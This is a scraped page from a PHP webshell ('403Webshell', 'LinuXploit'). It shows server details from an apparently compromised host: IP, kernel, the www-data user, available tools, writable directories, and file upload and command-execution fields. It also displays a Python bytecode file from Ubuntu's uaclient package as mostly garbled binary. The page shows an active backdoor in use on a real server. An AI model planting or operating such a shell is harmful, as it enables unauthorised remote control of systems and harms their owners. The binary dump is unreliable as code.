403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/uaclient/cli/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/uaclient/cli/__pycache__/config.cpython-314.pyc
+
���g�*���^RIHtHtHtHtHtHtHt^RIH	t	^RI
Ht^RIH
t
^RIHtHtHt^RIHt^RIHt^RIHt^R	IHt^R
IHtHt^RIHtHt]P@!4t!Rt"R
t#]
PHR4t%]
PHR4t&]!R]PN]PN]#]!]!R]PPRR7.R7.R7t)]!R]PT]PT]%]!]!R]PVPYRP[]P\4R7R7.R7.R7t/]!R]P`]P`]&]!]!R]PbPYRP[]P\4R7RR7.R7.R7t2]!R]Pf]Ph]"]Pj])]/]2.R7t6R#) �)�apt_news�config�entitlements�event_logger�
exceptions�http�messages)�_is_attached)�
AptProxyScope)�cli_util)�ProArgument�ProArgumentGroup�
ProCommand)�HelpCategory)�ApplicationStatus)�state_files)�LXDGuestAttachEnum)�configure_livepatch_proxy�unconfigure_livepatch_proxy)�configure_snap_proxy�unconfigure_snap_proxyc�>�^RIHpV!4PR4^#)r��
get_parserr)�uaclient.clir�print_help_for_command)�args�cfg�kwargsrs&$, �5/usr/lib/python3/dist-packages/uaclient/cli/config.py�
action_configr!s��'��L�'�'��1��c�n�VP'd�VP\P9dO\P!RPVP4RP
\P4R7h\RPVP\WPR4R74^#\\\PUu.uFp\V4NK	up4^,4pRV,R,p\PF)p\VPV\WR4R74K+	VP'gVP'dBVP'gVP'd\\ P"4R#R#R#uupi)	z�Perform the 'config show' action optionally limit output to a single key

:return: 0 on success
:raise UbuntuProError: on invalid keys
z'{}'�, ��arg�choicesz
{key} {value}N��key�valuez{key: <z	} {value})r)r�UA_CONFIGURABLE_KEYSr�InvalidArgChoice�format�join�print�getattr�str�max�len�global_apt_http_proxy�global_apt_https_proxy�ua_apt_http_proxy�ua_apt_https_proxyr	�CLI_CONFIG_GLOBAL_XOR_UA_PROXY)rrr�x�	col_width�row_tmplr)s&$,    r �action_config_showr<#sC���x�x�x��8�8�6�6�6�6��-�-��M�M�$�(�(�+��	�	�&�"=�"=�>��
�	��"�"��H�H�G�C���4�$@�
#�
�	
�
��C��)D�)D�E�)D�A��Q��)D�E�F��J�K�I��9�$�{�2�H��*�*��
�h�o�o�#�W�S�t�-D�o�E�F�+�	�!�!�!�S�%?�%?�%?������!7�!7�!7�
�h�5�5�6�"8�&@��
Fs�F2c��^RIHpV!4pVPPR4wrVT\P9dGTPR4\P!RRP\P4R7hTP4'g)TPR4\P!TR	7h\\YR
44\ 8XdATP#4R9d\P!RR
R7hTP#4R8HpTR9d�TPR4^,pTR8Xd\$P&pM\$P(p\$P*!YvT4YV/p\-R /TB\.P0P3T4p	T	P54wr�T
\6P88Xd\;R /TBEM^YQP<9d�TPR4^,pTR8Xd\$P>pM\$P@p\$P*!YvT4\!TPB;'g
TPD4pT'd+\G\HPJPMRRR74\NPP!T\RPTYV4R
Tn!R
Tn"EMfTTPVTPX,9Ed=RT9dRMRpTR8Xd\$P>pM\$P@pYQPV9dR\G\HPZPMRPMT4RPMT4R74RT,p\$P*!YvT4\!TP\;'g
TP^4pT'd+\G\HPJPMRRR74\NPP!T\RP`YV4R
Tn.R
Tn/EMTR!9d/\cT4pT^8d\	RPMT44hM�TR8Xd?T'd\fPh!T4M�\jPlPo4M�TR8Xd�\qT4Pr'g\Pt!4h\jPvPy\jPz!\|P~!TP#44R74\�YT4R
# \d5TPR4\P!RTPR7hi;i \d5TPR4\GR4\Pd!YVR7hi;i)"zEPerform the 'config set' action.

@return: 0 on success, 1 otherwise
r�=z
config setz
<key>=<value>)�expected�actual�<key>r$r%)r&N�truez<value>ztrue, false�_rzpro scoped aptz
global apt)�
current_proxy�previous_proxy�https�apt_{}_proxy�global_apt_{}_proxy��old�new�global_zInvalid interval for {}�r(r�lxd_guest_attach��guest_attach)rB�false��
http_proxy�https_proxy�)�update_messaging_timer�metering_timer)Arr�key_value_pair�split�
ValueErrorrr�GenericInvalidFormatrr+r,r.�strip�EmptyConfigValue�typer0�bool�lowerr�PROXY_VALIDATION_SNAP_HTTP_URL�PROXY_VALIDATION_SNAP_HTTPS_URL�validate_proxyrr�	livepatch�LivepatchEntitlement�application_statusr�ENABLEDr�ua_scoped_proxy_options�PROXY_VALIDATION_APT_HTTP_URL�PROXY_VALIDATION_APT_HTTPS_URLr4r5r/r	�WARNING_APT_PROXY_OVERWRITEr-r�configure_apt_proxyr�UACLIENT�&deprecated_global_scoped_proxy_options�global_scoped_proxy_options�WARNING_CONFIG_FIELD_RENAMEr6r7�GLOBAL�int�InvalidPosIntConfigValuer�update_apt_newsr�apt_news_contents_file�deleter
�is_attached�UnattachedError�lxd_pro_config_file�write�LXDProConfigr�
from_value�setattr)
rrrr�parser�set_key�	set_value�
protocol_type�validate_url�entitlement�livepatch_statusrC�
unset_currents
&$,          r �action_config_setr�Bs���(�
�\�F�
�!�0�0�6�6�s�;����f�1�1�1��%�%�l�3��)�)�����6�+F�+F�!G�
�	
��?�?����%�%�l�3��)�)�g�6�6��G�C�$�'�(�D�0��?�?��$5�5��-�-��}��
��O�O�%��/�	��/�/��
�
�c�*�1�-�
��F�"��>�>�L��?�?�L����M�l�C��%���&�v�&�"�,�,�A�A�#�F��)�<�<�>����0�8�8�8�%�/��/��	�/�/�	/��
�
�c�*�1�-�
��F�"��=�=�L��>�>�L����M�l�C���%�%�C�C��)C�)C�
�
����4�4�;�;�"2�<�<��
�
	�$�$���'�'��	
�%)��!�%)��"�	��2�2�

�
)�
)�	*�
�$+�g�#5��6�
��F�"��=�=�L��>�>�L��@�@�@���4�4�;�;�&�-�-�m�<�-�4�4�]�C�<��
� �'�)�G����M�l�C��S�2�2�L�L�c�6L�6L�M�
����4�4�;�;�".�?O�<��
�
	�$�$���%�%�w�	
�!%���!%���	��
�
	��I��I��1�}� �!:�!A�!A�'�!J�K�K��
�J�	���$�$�S�)��.�.�5�5�7�	�&�	&��C� �,�,�,��,�,�.�.��'�'�-�-��$�$�/�:�:�9�?�?�;L�M�
�	
��C�)�$��{�
��%�%�l�3��-�-�$�T�-@�-@�
�	
�
��P�	��)�)�,�7��"�I��5�5���
�		�s�U�,V�?V
�?Wc�n�^RIHpVP\P9dNV!4pVPR4\P!RRP\P4R7hVPR9d�VPPR4^,p\VR7\PPV4pVP4wrxV\P 8Xd
\#VR7EM�VPVP$9d4\&P(!V\*P,VPR4EMKVPVP.VP0,9d�VPVP.9d�R	VP9dR	MR
p\2P5\6P8P;RP;V4RP;V4R
74RVP,Vn\&P(!V\*P<VPR4MSVPR8XdC\>P@PC\>PD!\FPHR74\KWPR4^#)zGPerform the 'config unset' action.

@return: 0 on success, 1 otherwise
rzconfig unsetrAr$r%rC)r�NrFrrGrHrIrLrNrOrR)&rrr)rr+rrr,r.rYrrrdrerfrrgrrhrrlrrmrnro�event�infor	rpr-rqrryrzr{r�OFFr})	rrrrr~r�r�r�rCs	&$,      r �action_config_unsetr��s���(��x�x�v�2�2�2�����%�%�n�5��)�)�����6�+F�+F�!G�
�	
��x�x�0�0������s�+�A�.�
��]�;�"�,�,�A�A�#�F��)�<�<�>����0�8�8�8�'�m�D��	
���S�0�0�	0��$�$���'�'����4�	
�
����2�2�

�
)�
)�	*�
��8�8�s�A�A�A�'.�$�(�(�':�G��M��J�J��4�4�;�;�&�-�-�m�<�-�4�4�]�C�<��
�!�4�8�8�+�D�H��$�$�S�-�*>�*>����$�O�	
���'�	'��'�'�-�-��$�$�2D�2H�2H�I�	
��C���4� �r"�showr)�?)�help�nargs)�	arguments)r��description�action�argument_groups�setrXr$)�options)r��unset)r��metavarr)r�r�r��
help_category�subcommandsN)7�uaclientrrrrrrr	�(uaclient.api.u.pro.status.is_attached.v1r
�uaclient.aptrrr�uaclient.cli.commandsr
rr�uaclient.cli.parserr�(uaclient.entitlements.entitlement_statusr�uaclient.filesr�uaclient.files.user_config_filer�uaclient.livepatchrr�
uaclient.snaprr�get_event_loggerr�r!r<�assert_rootr�r��CLI_CONFIG_SHOW_DESC�CLI_CONFIG_SHOW_KEY�show_subcommand�CLI_CONFIG_SET_DESC�CLI_CONFIG_SET_KEY_VALUEr-r.r+�set_subcommand�CLI_CONFIG_UNSET_DESC�CLI_CONFIG_UNSET_KEY�unset_subcommand�CLI_ROOT_CONFIG�CLI_CONFIG_DESC�OTHER�config_commandrUr"r �<module>r�s������B�&�!�K�K�,�F�&�>��G��%�%�'��
�7�>
���G%��G%�T
���-
��-
�`�
�	�	&�	&��-�-������ <� <�C���	
���� �	�	�	%�	%��,�,����$� �9�9�@�@�$(�I�I�f�.I�.I�$J�A���	�	
�
���*��	�	'�	'��.�.����� �5�5�<�<�$(�I�I�f�.I�.I�$J�=��"��
�	
����,��	�	!�	!��(�(���$�$� �.�2B�C�
�r"

Youez - 2016 - github.com/yon3zu
LinuXploit